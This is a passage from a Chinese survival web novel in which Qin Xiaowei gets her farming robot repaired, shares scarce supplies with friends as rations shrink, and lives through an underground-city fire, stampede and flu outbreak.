她一路上没看到任何人和车，整座城市，就像是被冰雪冻住了一样，一点人气都没有，秦小薇打开车里的音乐，才觉得没那么瘆人。 等回了红浦区的地下城，她才狠狠松了口气。 终于到家了！她手脚都要冻僵了！ 在地下停车场停好车后，秦小薇先拿出保温杯，给自己灌了一杯红糖姜茶暖身体，才慢悠悠地下车。 附近停的都是豪车，她伤痕累累的SUV停在其中，有些格格不入。 这座地下停车场是富人区的住户自己建的，也只有这边的住户能用，至于住公租房的普通人……他们的车只能停在外面被冰雪吞噬。 回到健身房后，秦小薇打开手机，和室友们吐槽她回来的路上在地下城碰到的事。 …… 【秦小薇：那边好危险啊！感觉在路上随便转悠一圈，就能碰到一群惦记我钱包的！】 【秦小薇：琳琳，你在那边出门的时候一定要小心！】 【范槿：啊，江安区这么坑吗？】 【段霞：薇薇，你是不是打扮得太显眼了？听说那边的难民都比较穷，穿太好会被他们当成“肥羊”。】 看到段霞的回复，秦小薇皱了皱眉，她低头看了下自己的穿着打扮。 羽绒服是她暴雨之前逛商场的时候买的打折货，男款黑色的，款式和颜色都很普通，裤子是普通的冲锋裤。 鞋子虽然是陆昼准备的羊皮靴，但市面上有很多平价仿款，表面也没有LOGO，一般人应该认不出来…… 还有帽子围巾，是她自己找人织的，也是最简单的款式。 她检查了一遍，也没发现自己今天这身打扮有哪里过于出挑…… 思索了半天，她只能把原因归咎于江安区那边的风气都是这样的。 【肖琳琳：没有吧！薇薇今天穿得很普通啊！】 【肖琳琳：她连口罩都没摘下来，一点都不显眼。】 【肖琳琳：我知道了，我尽量和同事结伴出门！】 和室友们吐槽完，秦小薇就把这事扔到一边了，反正她这身打扮，在红浦区这边挺普通的，从没被人拦过。 昨天晚上还有个邻居嫌她穿得不够光鲜对她态度冷淡来着…… 晚上回家的时候，秦小薇看到了陆昼的爷爷奶奶开着门，在别墅的院子里打理移植过来的蔬果，可能是认出了她，两人盯着她多看了一会，秦小薇装作没注意到，径直回家了。 到家后，她看了下手上的袋子，犹豫了几秒，还是把它收进了仓库里。 袋子里装的是王笑笑和她的室友们，给香肠还有朔月准备的“谢礼”，是她们早起去超市排队抢的肉和排骨。 香肠今天没去健身房，王笑笑便托她帮忙转交。 要是以前，秦小薇下班的时候，肯定就顺手送过去了，但现在，对面除了陆昼，还住着他的家人，直接上门送肉和排骨也太奇怪了…… 等以后有机会了，再转交给香肠吧！反正东西放仓库里也不会坏！ 吃完晚饭后，她照例在空间里巡视了一圈，却发现，负责种地的机器人“罢工了”。 秦小薇以为机器人没电了，便找了个小推车，把它搬去充电舱充电，但折腾了好一会儿，电源灯都没亮…… 坏了？ 几十万的东西，只用了一年多就坏了？ 秦小薇顿时有些麻爪。 这机器人非常好用，设置好程序之后，打药、除草、装载、旋耕、施肥、运输、自动采摘……都能一把抓。 她空间里的牧草和菜地都是它负责的……要是没有它，她也养不了那么多牲畜！ 机器人坏了，那她一天得增加多少工作量啊？！ 秦小薇的表情顿时严肃起来，她立刻出了空间，拿出手机，拨通了陆昼的电话。 秦小薇：“陆昼，你现在能过来一趟吗？我有非常非常重要的事找你！” 可能是因为她的声音太严肃，陆昼当即回道：“我马上过来！” 几分钟后，陆昼敲响了她家的大门，秦小薇把人拉进屋里，就直接把他带进空间里了。 她把陆昼带到充电舱面前，指着机器人开口道：“这机器人坏了！你还能弄到新的吗？” 陆昼摇头：“暂时买不到，这东西不是我们这产的，现在的交通……你知道的。” 看到她一副“天塌了”的表情，陆昼忍不住笑了起来。 秦小薇斜了他一眼，不满道：“你在幸灾乐祸？” 陆昼连忙收敛了脸上的笑意：“没有！” 秦小薇冷哼一声，开口道：“机器人干不了活，就你来干，牧草、畜牧棚都是你提议弄的……我可不会给你收拾烂摊子！” 秦小薇：“我看你也不怎么需要睡眠，以后等你家里人睡着了，你就来我这割草喂牛羊，猪食不要你煮，但它们吃的菜你得摘下来送过去……反正我们现在住得近，你过来干活也方便！” 她掰着手指头，一样样细数陆昼需要“承包”的农活，像个周扒皮似的，把他的时间安排的明明白白。 陆昼：“……” 他轻咳一声，随后开口道：“虽然现在买不到新的，但是我可以找人修……你先送我出去，我回家拿下电脑。” 几分钟后，陆昼带着笔记本回来了，见他用数据线连接了笔记本和机器人，秦小薇看他的眼神都不一样了：“你还会修机器人？” 陆昼修长的手指在键盘上敲击着：“不会，我在销毁数据，免得被维修人员发现你的空间。” 秦小薇：“……” 她凑过去，看着屏幕上飘过的一串串代码皱眉：“什么数据都没有，就这么坏了，也会引起怀疑吧？” 陆昼：“有钱人有点秘密很正常。” 秦小薇：“……”他怎么这么理直气壮？ 半个小时后，陆昼收起电脑：“你得跟我出去一趟，这机器人太大了，直接拿出去会引起怀疑，得从外面拖回来……” 秦小薇点头：“你等下，之前的包装我还没丢，我们先用箱子把它装起来……我再腾一辆卡车出来！” 一个半小时后，两人把机器人从外面“运”回了地下城，陆昼找了辆叉车，直接开着叉车，把机器人运去了秦小薇从未涉足的种植区。 种植区走廊的天花板上布满了粗细不一的金属管道，像是地下城的血管似的……这些管道太多了，密密麻麻、弯弯曲曲，连带着这一层的层高都变低了。 站在这些管道下面，能清晰地听到管道里发出的“嗡嗡”声。 走廊里虽然开着灯，但光线十分昏暗，不过沿途的房间里都有人在值班，整体环境并不阴森。 秦小薇坐在叉车上，下意识弯腰低头。 总感觉坐直了身体脑袋会撞到这些管道…… 这边层高这么低，高个子是不是就没法在这边干活啊？ 陆昼单手控制叉车的方向盘，见她似乎在发呆，便开口道：“放心吧！很快就能修好的！” 秦小薇回过神，她翻了个白眼：“我有什么不放心的？又不是我要干活……” 陆昼：“……” 叉车开了十几分钟，绕过了一条又一条的走廊和大门，他们才到一间实验室的门口。 他们路过的那些大门，有些出入需要刷卡，不过陆昼的权限似乎很大，他直接用自己的工作证，刷开了所有的门。 一路畅通无阻。 实验室里已经有一群工作人员在等着他们了，叉车刚停下，他们就七手八脚地把箱子从叉车上搬了下来。 负责人和陆昼简单寒暄了几句，就去干活了，秦小薇他们没事干，只能自己在角落里找地方坐下。 秦小薇看着众人检修机器人，把机器人的零件拆得七零八落的，忍不住凑过去小声问陆昼：“今天晚上能修好吗？” 不能的话她就先回去睡觉了！明天早上还要去店里摸鱼呢！ 陆昼：“不知道，先等一会吧！” 秦小薇闲着无聊，便拿出手机，和室友们还有员工们聊天。 肖琳琳下午就开始“上工”了，这回正在群里分享她这半天当狱警的心得。 【肖琳琳：下午竟然有几个犯人看我是女的，就调戏我！】 【肖琳琳：决定了，我明天要板着脸上班，拿出女警的威严震慑住他们！】 …… 【肖琳琳：我同事说，为了防止犯人吃太饱闹事，所以每天只给他们半包能量饼干。】 【肖琳琳：但是他们吃不饱，就会打架争地盘，让小弟上供能量饼干……感觉这个安排不太合理！】 …… 【秦小薇：我感觉那鸟笼子关人一点都不靠谱……琳琳，他们不会冲出来吧？】 【肖琳琳：我们领导说那个笼子连着高压电网，很安全的……不过最近想越狱的人有点多，上周安排他们出去扫雪的时候，就跑了两个，到现在还没抓到。】 【范槿：啊？那还安排他们出去扫雪吗？】 【肖琳琳：安排啊！我同事说每天让他们出去冻一冻，搞事的人会少很多……刚搬进来的时候，一天就要死几十人，现在已经好多了。】 【肖琳琳：主要还是关的人太多了，地方、人手都不够用。】 和室友们聊了半个多小时，秦小薇打开健身房的视频账号，看了下昨天那条视频下网友们的反馈。 可能是因为巡逻队的官方账号发了相同的内容，她这条视频的浏览量意外地高，还有人认识那几个变态，已经把这个视频发给他们的家人朋友了，让他们社死的非常彻底…… 还有人说要来健身房体验一下团购课……这波也算是变相给健身房打广告了！ 秦小薇挑了一些网友的评论回复，之后，她又打开手机里的单机斗地主游戏，打了十来局。 时间已经快到十一点了，生物钟让秦小薇开始哈欠连天，就连游戏都提不了神…… 就在她纠结着要不要回去睡觉，让陆昼一个人在这里等的时候，检修终于结束了。 其中一人和陆昼汇报了一下机器人的情况，机器人有好几个零件都烧掉了，维修起来有些麻烦，大概明天晚上之前能修好。 他们不可能在这等一整天，便准备先回去，明天晚上再过来取机器人。 到家后，秦小薇问了下陆昼的工作安排，知道他晚上不用加班后，就直接把人带进了空间里，扔给他一堆工具。 秦小薇：“别的活可以等机器人回来了再干，但牛羊不能饿着，你把它们明天要吃的草料准备好……我去睡觉了！” 陆昼：“……” 他看着手里的镰刀，叹了口气。 第二天一早，秦小薇进空间后，发现陆昼已经自己找屋子睡着了，她也没管他是不是还没睡醒，检查了一下他的工作成果，就把人送出空间了。 秦小薇：“行了，你可以回家了！晚上见！” 陆昼：“……” 第二天晚上九点多，他们一起去了实验室，昨晚被拆成各种散碎零件的机器人已经恢复原样了。 陆昼说要试一下机器，负责人和实验室的工作人员便把机器人推去了种植房。 种植房里到处都是架子，金属的、木头的、塑料的……虽然材质不一样，但架子的规格大小是完全相同的。 架子的每一层都有植物补光灯的灯带。 架子上种满了郁郁葱葱的蔬菜水果，架子边上还放着梯子，方便种植房的员工打理、采摘架子上的蔬果。 工作人员打开机器人、设置好参数后，它就开始工作了。 秦小薇看着它精准地识别出架子上已经成熟的蔬果，把它们采摘下来，之后，又给另一个区域的作物浇水施肥…… 她忽然觉得，这机器人在她的空间里还没有发挥最大的价值，她空间里那些土地利用得还不够彻底！ 但她也只是感叹一 下，毕竟现在农场出产的东西已经够多了，就算供给陆昼家和她自己，再三五不时地给员工们加个餐，也吃不完…… 还是别折腾了！ 一番实验过后，陆昼让他们把机器人搬到叉车上，准备离开。 临走前，他冲着负责人开口道：“你们申请的那个项目，下周会通过的。” 负责人的脸顿时笑成了一朵菊花：“哎！陆部长，那就麻烦你了，以后有什么要修的，直接给我们打电话啊！” 秦小薇装作没听见两人之间的交易，老老实实地坐在叉车上“看风景”。 回去的路上，秦小薇忍不住问他：“陆昼，我觉得这机器人和种植房挺适配的，你们怎么不用机器人？宁市没提前进货吗？” 陆昼摇头：“得让大部分人都有活干，他们才不会乱起来……有时候，为他们提供工作，也是我们的工作之一。” 秦小薇：“……”好像有点道理？ 第112章 第112章冻疮膏（双更合一）…… 两人用卡车拉着机器人出去“溜”了一圈,等到了远离红浦区的无人路段后，秦小薇进空间里试了下机器人，确定它能正常使用,两人才空着手回了地下城。 下车的时候,秦小薇想到了王笑笑给拉布拉多的“谢礼”,便直接把肉和排骨从仓库里拿了出来，递给陆昼。 陆昼没接：“不用,上次从你那拿的物资还没吃完。” 秦小薇直接把袋子塞进了他怀里：“前两天香肠不是帮忙抓了个变态吗？这是人家给香肠的谢礼。” 陆昼：“……” 他默默拉开车门下了车。 到家后,秦小薇进了空间，“巡视”完黑土地和工坊后,她把机器人收上来的新鲜蔬菜整理了一下，用筐子装好，收进仓库里。 收拾物资的时候,她忽然想起来,自己还没给室友们送冻疮膏。 她找出空间里的医疗物资，翻了一会，才找出里面治冻疮的药膏,陆昼囤了很多货，止痒的、止痒抗菌的、修复的……一大堆。 她研究了一会说明书,找出了几管适合段霞她们的,才把剩下的药膏放回去。 第二天早上，到健身房后，她给范槿打了个电话,让她过来拿冻疮膏。 收到冻疮膏后，范槿很开心，对着秦小薇就是一顿夸：“薇薇，你怎么知道我长冻疮了？你也太贴心了！有你这样的室友,我真的太幸运了……” 见她要来抱自己，秦小薇连忙伸手抵住她的额头：“行了行了，别撒娇了！黏糊糊的，好恶心……阿霞什么时候回来？我给她也准备了一份。” 范槿摘了手套，直接往自己红肿的手指头上抹药：“她带队出去巡逻了，估计得到五点半以后吧！你给我吧，我让我队友帮忙转交……” 可能是因为范槿一直留在地下城执勤，她的冻疮并不严重，手指和耳朵只是有点红肿，并没有破皮。 秦小薇也不担心她的队友私吞了她给段霞的药，便直接把药给她了。 范槿：“这个药涂上去以后凉凉的，比涂猪油舒服多了！” 秦小薇想到范爸爸泡热辣椒水涂猪油的偏方，没有说话。 等药膏晾干的时候，范槿也没闲着，她用手肘捅了捅秦小薇：“薇薇，你这还有姨妈巾吗？给我拿一包，我早上忘记去超市排队了……” 某些必要的生活物品，超市虽然有供应，但是数量有限，还限购，得早起去抢。 秦小薇点头：“有，你等下，我去给你拿！” 等她拿了两包卫生巾回来的时候，发现手机上多了一条转账信息，范槿给她转了三百。 秦小薇皱眉：“饭饭，你给我转这么多钱干什么？” 范槿指了下桌上的药膏：“冻疮膏和姨妈巾的钱……月底了，我的小金库告急，薇薇，剩下的我下个月发了工资再补给你。” 秦小薇想了想，给她转了两百回去：“不用这么多，冻疮膏是我找老板帮忙买的，他认识药厂的人，没花多少钱……” 范槿：“行吧！你这个人情我记下了……晚点让我爸给你送蘑菇！” 秦小薇连忙摆手：“别！叔叔最近这一个多月，隔三岔五就给我送蘑菇，每次都送一堆……你们让我缓缓吧！” 范槿：“行吧！那等下个月再给你送！” 秦小薇：“……”今天27号，下个月好像也没几天了？ 范槿四处看了看，忽然开口道：“薇薇，上午店里就这么多客人……你这是不是又要招兼职了？” 秦小薇摇头：“先看看吧！巡逻队前两天那篇新闻帮店里打了个软广，等热度下去了，人流量估计会恢复……对了，另外三个人，你们怎么处理的？” 范槿：“先警告，再有下次直接送去江安区！他们那床位，外面可有不少人惦记着……” 想到前两天在江安区的经历，秦小薇对此深有感触。 虽然这边空气的流动性很差，地下城也有股味道，但街上一直有人打扫，看起来很干净，空气中的味道并不臭。 房子看起来也比江安区坚固……至少建筑上面没有裂痕！ 秦小薇；“这边隔几天送一次犯人过去？” 范槿：“不确定，凑够二十个就送过去！刚好一车……” 秦小薇：“那你找人问下，看看能不能帮忙带两支药膏过去……我在同城APP上发了帖子，还没人接单。” 范槿知道，她是想给肖琳琳送药膏，她俩之前住一屋，自然知道她的冻疮有多严重，毫不犹豫地点头道：“行啊，我这支也给她吧！琳琳脚背都冻肿了，现在穿的鞋子都比之前大两个号，前段时间，她晚上脱袜子的时候都疼得嗷嗷叫……” 秦小薇知道肖琳琳脚上也长了冻疮，但不知道这么严重，闻言，她的眉头直接皱了起来。 秦小薇：“你留着用吧！我再给她弄几支药，你下午过来拿……” 范槿也没问她去哪里弄，只点头：“行！” 范槿等药膏晾干了，就戴上手套，继续出门执勤了。 午休的时候，秦小薇抽空回了趟家，除了冻疮膏，她还拿了两大罐医用凡士林和几包发热鞋垫。 凡士林一罐500克，足够她当身体乳用。 结果她刚回健身房，就看到范槿在门口等她。 看到秦小薇后，范槿焦急道：“薇薇，待会有一辆车要去江安区，你快把东西给我，我送过去……” 秦小薇往前挪了点，让出点位置给范槿：“走路太慢了，我骑电动车送你过去！” 范槿也没推辞，直接跨步上了电动车。 运送犯人的刑车看起来有些旧，但是十分结实，不仅窗户用金属栏杆圈着，车里也跟个铁笼子似的，犯人都被关在笼子里。 随行的工作人员全都拿着枪，个个 表情严肃，一副随时准备动手的模样…… 范槿等所有人都上车了，才去找同事搭话，她把东西递给同事，和他交代了几句，就直接下车了。 秦小薇则拿出手机，和肖琳琳说了自己托人给她送物资的事，还详细罗列了袋子里的东西，免得她拿到的包裹“货不对板”…… 一转眼，时间又过了半个月，这天早上，秦小薇起床后一打开手机，就看到员工群里的员工们在哀嚎，说供电供暖断了，好冷，不想出被窝…… 她看了下床头灯，有些莫名，没断电啊！ 她没急着在群里回复，打开同城APP搜了下，这才知道，原来是凌晨的暴雪导致某个路段的电路出问题了，地下城的工作人员已经出去检修了，但是外面还在下雪，天气恶劣，不知道什么时候能修好。 之前地下城也出过这样的事，不过都是小范围的，基本上一两天都能修好…… 秦小薇也没在意，她直接在群里告诉大家，今天放一天假，让她们在家里猫冬，等供电供暖恢复了再上班。 之后又登录了健身房的账号，在主页公告了因为停电暂时歇业的消息。 地下城停电后，白天比外面的晚上还要黑，外面晚上至少还有月光和星光，断电后出门不打手电筒连路都看不清，这种时候，根本不会有人来健身…… 她打了个哈欠，把身旁的“暖狗宝”抱进怀里一顿搓揉：“朔月，起床了！” “汪呜——”德牧冲着她撒娇，一点反抗的意思都没有。 洗漱完之后，秦小薇去外面割了把韭黄，准备做个韭菜盒子当早饭。 地下城不见阳光，韭菜根种下去之后，直接长成韭黄了，就是这边温度有点低，韭黄生长速度比空间里慢多了。 她割韭黄的时候，大门被人敲响了。 秦小薇去开了门，门外是个陌生的老奶奶，她满脸皱纹，身上穿着浅色的国风盘扣棉袄，脖子上还戴着一串非常闪的珍珠项链，一看家庭条件就很好，但却不让人觉得有距离感。 老奶奶指了下边上的房子，缓缓开口道：“小姑娘，我住那边，我在楼上看你家的韭黄长得挺好的，能不能和你换点菜吃？” 说着，她把手上的篮子提高了一些，给秦小薇看里面半青半红的番茄。 秦小薇点头：“行啊，奶奶，您家几口人？” “七口人，我和我老伴原来是住外面的，但我儿子说国内打仗了，非要我搬来和他们一起住……”老奶奶跟在秦小薇后面进了院子，“小姑娘，你家院子这么大一块地，怎么就只种了韭黄？” 秦小薇无奈解释道：“这边不见阳光，温度也低，其他的菜种不活！” 老奶奶：“加个灯就行了……我儿子给弄了那种圆圆的灯，在屋里也能种菜、种水果，方便得很。” 秦小薇摇头：“没事，我用韭黄和其他人换，也能尝到不同的菜！” 她进了屋，把篮子里的西红柿倒了出来，又出来给老奶奶割了一篮子韭黄。 老奶奶：“唉，小姑娘，你给得太多了！” 秦小薇摆摆手，不在意道：“您家七口人呢！一人一筷子就没了……” 老奶奶犹豫了一下，还是收下了韭黄：“小姑娘，我下次再给你带点别的。” 秦小薇笑眯眯地点头：“好啊！谢谢奶奶！” 虽然她不缺菜吃，但她不介意借着这点和邻居们打好关系。 今天不用出门上班，但秦小薇也没闲着，一整个上午都在厨房忙活，中途，香肠还来扒门，要和朔月一起玩。 红浦区的治安很好，巡逻队不少人都闲得抠脚，外面虽然有需要警犬帮忙的地方，但陆昼不舍得拉布拉多去外面受冻。 于是……香肠就这么失业了，每天只能在家里疯跑，发泄多余的精力。 据陆昼说，他每次遛狗路过她家门口，香肠都会扒着她家的门要进去玩，但她家没人，陆昼只能强行把狗拉走，晚上再放它过来玩一会…… 除了自己吃的便当，秦小薇还给两只狗做了不少小零食，一整天，厨房的各种香味就没断过。 因为“试菜”吃撑了，她今天中饭和晚饭都没吃。 傍晚的时候，室友们又在群里聊天了，看到她们的聊天内容后，秦小薇的眉头忍不住皱了起来。 【范槿：啊啊啊啊啊物资供应要减量了，从下周开始，三天只能买两包土豆大米了！】 【范槿：太过分了！现在一天一包我都要喝很多蘑菇汤才能填饱肚子，三天两包，这不是让我挨饿上班吗？】 【段霞：上面说宁市的人太多了，省里分配下来的粮食可能不够吃，只能缩减，等交通恢复了，外地的粮食运进来了，就会恢复……】 【范槿：上次也说会恢复，但这都快一年了，还不是没恢复之前一天两包的供应！】 【范槿：崩溃大哭.jpg】 【段霞：饭饭，你以后还是别买土豆大米了，消化太快了，吃能量饼干吧！】 【肖琳琳：三天两包已经很好了！我们这边，犯人一天只有半包能量饼干，听说下周还要缩减……】 【秦小薇：我弄到了一批黄心土豆和玉米，你们要不要？】 【秦小薇：猫猫探头.jpg】 【范槿：要！我好久没吃玉米了！】 【范槿：薇薇，你有多少？】 【秦小薇：各有两蛇皮袋，加起来应该有一两百斤？】 【肖琳琳：这么多？！】 【肖琳琳：我也想要！】 【秦小薇：那咱们四个平分吧！琳琳你那份，我看能不能找司机师傅带过去，要是没找到跑腿，就只能咱们三个分了……】 【肖琳琳：肯定能找到！我现在就去找我出外勤的同事帮忙！】 【段霞：薇薇，你现在在家吗？我过来拿？】 【秦小薇：现在停电，东西还没送过来……等供电恢复了，你们直接来健身房拿吧！】 【秦小薇：土豆三块钱一斤，玉米四块钱一根。】 【秦小薇：拿货价，没赚你们的钱。】 【范槿：Fine！】 等关掉手机，秦小薇就去空间里打包粮食了，土豆和玉米都是黑土地出产的，一天可以收好几茬，出产速度很快。 除了要分给室友们的，秦小薇还给健身房的员工们准备了半车。 教练们饭量都很大，之前能量饼干的供应减少后，她们就得去网上高价收能量饼干填饱肚子，要是供应再次减少，网上能量饼干的价格怕是会顺势水涨船高，她们的生活成本也会相应的增加…… 作为老板，既然她有能力，就不会让员工们因为填饱肚子的事困扰！ 直到第二天下午，商业街的供电才恢复，秦小薇开车出去转了一圈，然后拉了半货车的东西回来。 这些东西看着多，但她们将近二十个人，一人也就能分到一袋，按照她们的饭量，也就够她们吃一个多月…… 分东西的时候，秦小薇还不忘和她们交代这些东西的保存方法：“土豆不要洗，尽量放在阴凉干燥的地方，要是你们冰箱够大，直接冷冻也行……” 第二天，市政就发了公告，说能量饼干供应收紧的事，但相应地，蔬菜和菌菇的供应却放开了一些。 除此之外，之后社区的工作人员，还会给大家发种子，鼓励大家自己在家里种菜，自给自足…… 因为蔬菜和菌菇的供应放开了一些，红浦区这边的市民们虽然抱怨，但并没有做什么——只要早上勤快点去排队买菜，他们还是不会饿肚子的。 倒是其他两个区，因为种植区的规模太小，原本就抢不到多少菜，主食供应减少后，一下子引起了不少人的恐慌，听说闹出了不少乱子。 同城APP上粮价飙升，有人觉得现在的生活看不到希望自|杀，失窃事件频繁发生…… 连带着肖琳琳狱警的工作都变得繁忙起来——最近又进去了一批犯人。 晚上，陆昼送狗过来玩的时候，秦小薇把人留了下来。 她问陆昼：“为什么能量饼干的供应又变少了？之后还会继续缩减吗？” 陆昼摇摇头：“不知道，不是我负责的。” 秦小薇皱眉：“末世前不是囤了很多粮食吗？怎么会不够吃？” 陆昼靠在沙发上，撑着手臂开口道：“是囤了很多，但每个省、每个市分到的粮食都是有数的……上面一直往Q省塞人，物资供应不仅没跟上，还要抽Q省的血，省里和市里的压力也很大！” 见她低着头不说话，陆昼继续开口道：“放心吧！他们不会饿死的！宁市还能继续支撑下去……” 秦小薇幽幽开口道：“不会饿死，但是会饿肚子……” 一旦温饱都没办法保证，社会稳定也就不能保证了…… “放心吧！就算乱起来，也抢不到我们头上，我们还有这个……”他伸出食指、中指和大拇指，做了个开枪的手势。 秦小薇知道，他说的是她空间里那些热武器，那是他们的底气。 她摇了摇头，没有说话。 一转眼，时间又过去了一个月，地下城的生活和之前并没有什么区别，除了同城APP上食物的价格一下子翻了好几倍，一切都岁月静好。 商业街又开了几家炸串店、麻辣烫店、酒馆…… 因为社区和市政的工作人员发了种子，超市又开始售卖低价植物补光灯，现在，很多人的公租房里都种了菜。 因为工作人员发的都是易成熟、好打理的植物种子，有些居民，已经吃上自己种的菜了。 市民们的餐桌变得越来越丰富，一切和之前似乎也没什么区别。 但秦小薇有个当狱警的室友还有两个在巡逻队工作的室友，她知道，这一些都只是表象，监狱已经快被犯人塞爆了！ 就连红浦区的地面，都开始安排军人24小时巡逻——有人逃离了原本居住的地方，正在试图往这边迁移。 因为寝室群里的那些消息，秦小薇心里蒙上了一层阴霾。 这天下午，秦小薇正在店里招待客人，外面却忽然乱了起来。 “着火了，快打火警电话！”她听到外面有人这么喊。 她心里一惊，顿时顾不得招待客人，立刻朝着大门口跑去，她一眼就看到，健身房斜对面的那栋大楼正在冒烟！ 火势蔓延得很快，没多久，上下几层楼就都烧了起来，楼里的人不断往外跑，路人和附近的住户都很着急，秦小薇随便扫了一眼，就看到七八个路人正拿着手机拨打消防电话求助…… 消防来得很快，他们训练有素，很快就开始救人、灭火，疏散人群…… “大火会消耗空气中的氧气，请大家先去逃生通道待着……”有消防员拿着大喇叭冲着围观的众人喊道。 众人这才惊觉，他们现在不是住在地面上，在地下城发生火灾，就算他们离得很远，也可能会窒息而死。 ：. 众人顿时一窝蜂朝着逃生通道的方向跑去。 秦小薇也没了围观看热闹的心情，赶紧跑回健身房，疏散员工和客人。 可能是喇叭的声音太大了，几百米外完全没受到影响的住户，听到消息后，也从屋里跑了出来，开始往逃生通道的方向跑…… 所有人都朝着一个方向跑，秦小薇出来后，被人流裹挟着，只能往前走。 中途，她听到有人摔倒了，被踩得“哇哇”乱叫，有人大喊“有人摔倒了”试图让队伍停下来，但是那声音太微弱，淹没在拥挤的人潮中，队伍并没有停下来，关心那个摔倒的人…… 秦小薇倒是想停，但人流往前推进的力量实在是太大了，她要是停下来，下场大概和那个摔倒的人差不多，她纠结了几秒，最后决定继续往前走……这种时候，她实在是无能为力！ 越是往前走，越是靠近出口，地下城的温度就越低。 但所有人都挤在一起，人挨着人，一时半会，秦小薇也没觉得有多冷。 但没过多久，队伍里就传来打喷嚏的声音——屋里一直开着暖气，他们在家里的时候，穿得并不多。 听说有火灾，有些人出来得匆忙，也就胡乱套了几件衣服。 被通道里的冷风一吹，不过一会，就有人觉得自己要冻僵了。 第113章 第113章流感（双更合一）…… “卧槽！外面好冷啊！” “走到这里就差不多了吧？别往前面走了！老子要冻僵了！” “继续往前走啊！别堵在这里！后面还有很多人呢！” “……” 秦小薇耳边传来各种各样的声音,刚出来的时候，她还能看到健身房的员工和客人，但融入人群后,她们就被人流冲散了,秦小薇连她们的后脑勺都看不到了。 很快,秦小薇的脚踩上了扶梯，她被人流裹挟着路过出入口的刷卡机,最后走出地下城,看到了外面的天光…… 出去之后，人群散开了一些,不能挤在一起“取暖”，众人觉得更冷了。 她身边一个男人牙齿一直在打颤，那声音听着像是在敲快板…… 秦小薇一边抱着手臂瑟瑟发抖,一边伸长脖子四处张望着,听到一声熟悉的狗叫后，她连忙大步跑过去——之前疏散人群的时候，有个教练见秦小薇在后面垫后,直接把德牧抱出去了，她都没喊住人。 秦小薇从周文手里接过德牧：“周教练,你动作也太快了！一转眼就看不到人了,我还以为碰到偷狗的了……” 周文不好意思地挠头：“我急着带小月亮‘逃出来’嘛！它劲可真大，刚抱出来的时候，一直在挣扎,要回去找你，后面我和它说，等出来就带它去找你，它才安静下来！” 周文：“还好小月亮今天戴了嘴套,要不然我真的按不住它……” 就在两人聊天时，秦小薇耳边忽然传来一个焦急的女声：“你们有没有多余的衣服？借我一件，我给我家小宝裹上……” 她顺着声音看过去，问话的是一个母亲，可能是出来的时候太匆忙了，她帽子戴反了，棉衣的扣子也扣错位了，看上去有些滑稽。 她怀里还抱着一个孩子，看身高也就两三岁，孩子身上裹着厚厚的包被，比在场的大部分人裹得都厚，但他依旧冻得小脸青紫，正哇哇大哭喊冷。 女人努力把孩子往怀里塞，她的脊背微微弯着，用身体帮他挡住来自四面八方的寒风。 在场的人都冷得不行，他们都在后悔出门的时候衣服穿少了，自然没人借衣服给她，那位母亲喊了几句，见没人帮忙，她看了看身后的出入口，随后逆着人群，抱着孩子，开始往回走…… 好在消防的动作很快，几分钟后，出入口的工作人员就告诉他们，地下城的火灭了，他们可以回去了。 众人纷纷开始往回走，但他们的速度比来的时候慢了很多。 一是因为在外面冻了这么久，有些人的身体都快被冻僵了；二是之前太多人往外涌，地下城还有人在往外面跑…… 出来的时候，秦小薇只花了十几分钟，但回去，她却花了半个多小时。 等回到健身房，她还听到同城APP上有网友发帖抱怨，说“消防小题大做，根本不需要撤离”“白白挨一顿冻”“消防害死了人”…… 不过，评论区也有人维护消防员，说消防当时只疏散了附近几栋楼的住户，那些离得远的，他们根本就没疏散，是那些人自己怕死，非要往外跑。 那些住户往外跑的时候，消防员还阻止了，说他们住的地方属于“安全地带”，让他们回去等着。 但人家不听，觉得去通道里待着更安全，硬是要出去…… 这次火灾，因为救援及时，大火并没有烧死人，但人群一窝蜂往外挤的时候，发生了踩踏事件，有三人被活活踩死了，送去医院的路上就抢救无效死亡了，还有二十多人，因为踩踏受伤，现在正在医院接受治疗。 因为死了人，宁市很多人都在网上讨论这场火灾，有人关心以后遇到了火灾该怎么办；有人关心火灾的原因；还有人关心死者的家属会不会收到赔偿……网上十分热闹。 秦小薇玩了会手机，就合上了手机，倒不是她忽然转性不喜欢上网冲浪了。 在外面冻了大半个小时，健身房不少客人和员工都被冻感冒了，喷嚏声和咳嗽声此起彼伏。 屋里的门窗都关着，秦小薇很担心其他人会被传染，她骑着电动车回了趟家，很快，就提着一堆东西回来了。 她用电汤锅煮了一大锅姜茶，给员工和客人们驱寒，又给教练们冲了感冒冲剂，预防感冒。 当然，秦小薇也没落下她自己的！ 秦小薇原本以为，火灾就只造成了几十人的伤亡，过去就完了，但这事造成的后续影响却不止于此。 当天晚上，她睡得迷迷糊糊的时候，接到了范槿的电话。 范槿：“薇薇，你没生病发烧吧？” 秦小薇刚被吵醒，脑子还有些迷糊：“什么？” 范槿耐心解释道：“我们巡逻队已经接到好几通求救电话了，好多人白天在外面吹了冷风，现在发烧起不来，连医院都去不了，就打电话和我们求助……你白天不是也出去了吗？快找个温度计量一下！” 秦小薇这才清醒了一些，她自己没觉得有哪里难受，但范槿这么说，她还是开了免提，下床去找温度计了。 片刻之后，她拿着电子体温计，冲电话那头的人开口道：“35.5℃，我没事，没感冒也没发烧……” 见她这么说，范槿才放心地挂断电话。 虽然被吵醒了，但秦小薇的睡眠质量很好，躺下没过多久，她就又抱着狗睡着了。 第二天早上，她做早饭的时候，陆昼找了过来，他一进门，就用一种奇怪的视线上下打量着她，秦小薇被他看得汗毛都要竖起来了。 她挥着锅铲，开口打破沉默：“有话就直说，别这么看着我，怪瘆人的！” 陆昼：“……” 陆昼移开视线，无奈解释道：“昨天你们那片不少人冻伤了，我来慰问一下你……现在看来，你应该不需要我的慰问。” 秦小薇回忆了一下，昨天出去的时候，有些人确实跑得非常匆忙，她还看到有人直接穿着夏天的拖鞋就出来了，回去的时候，脚都变得惨白惨白的，一点血色都没有，跟个假人似的，那人还大叫着说他的脚冻废了，没知觉了…… 秦小薇：“我昨天出去的时候裹了兔皮内胆和羽绒服，感觉还好……” 陆昼点点头，换了个话题道：“医院那边传来了消息，地下城最近可能会 有一波流感，上次咱们去风城买的药，你拿一批出来，我先预备着。” 秦小薇皱眉：“流感？” 昨晚范槿打电话过来问她有没有发烧，早上陆昼又说要有流感，昨天那场大火的后劲这么大吗？ 陆昼点头，简单说了下他收到的数据：“昨天晚上，地下城几家医院都爆满，截止到早上六点，光是发烧的病人就有两千多，感冒的更多……” 秦小薇：！！！ 她点点头，去厨房把火关了，才带着陆昼进空间。 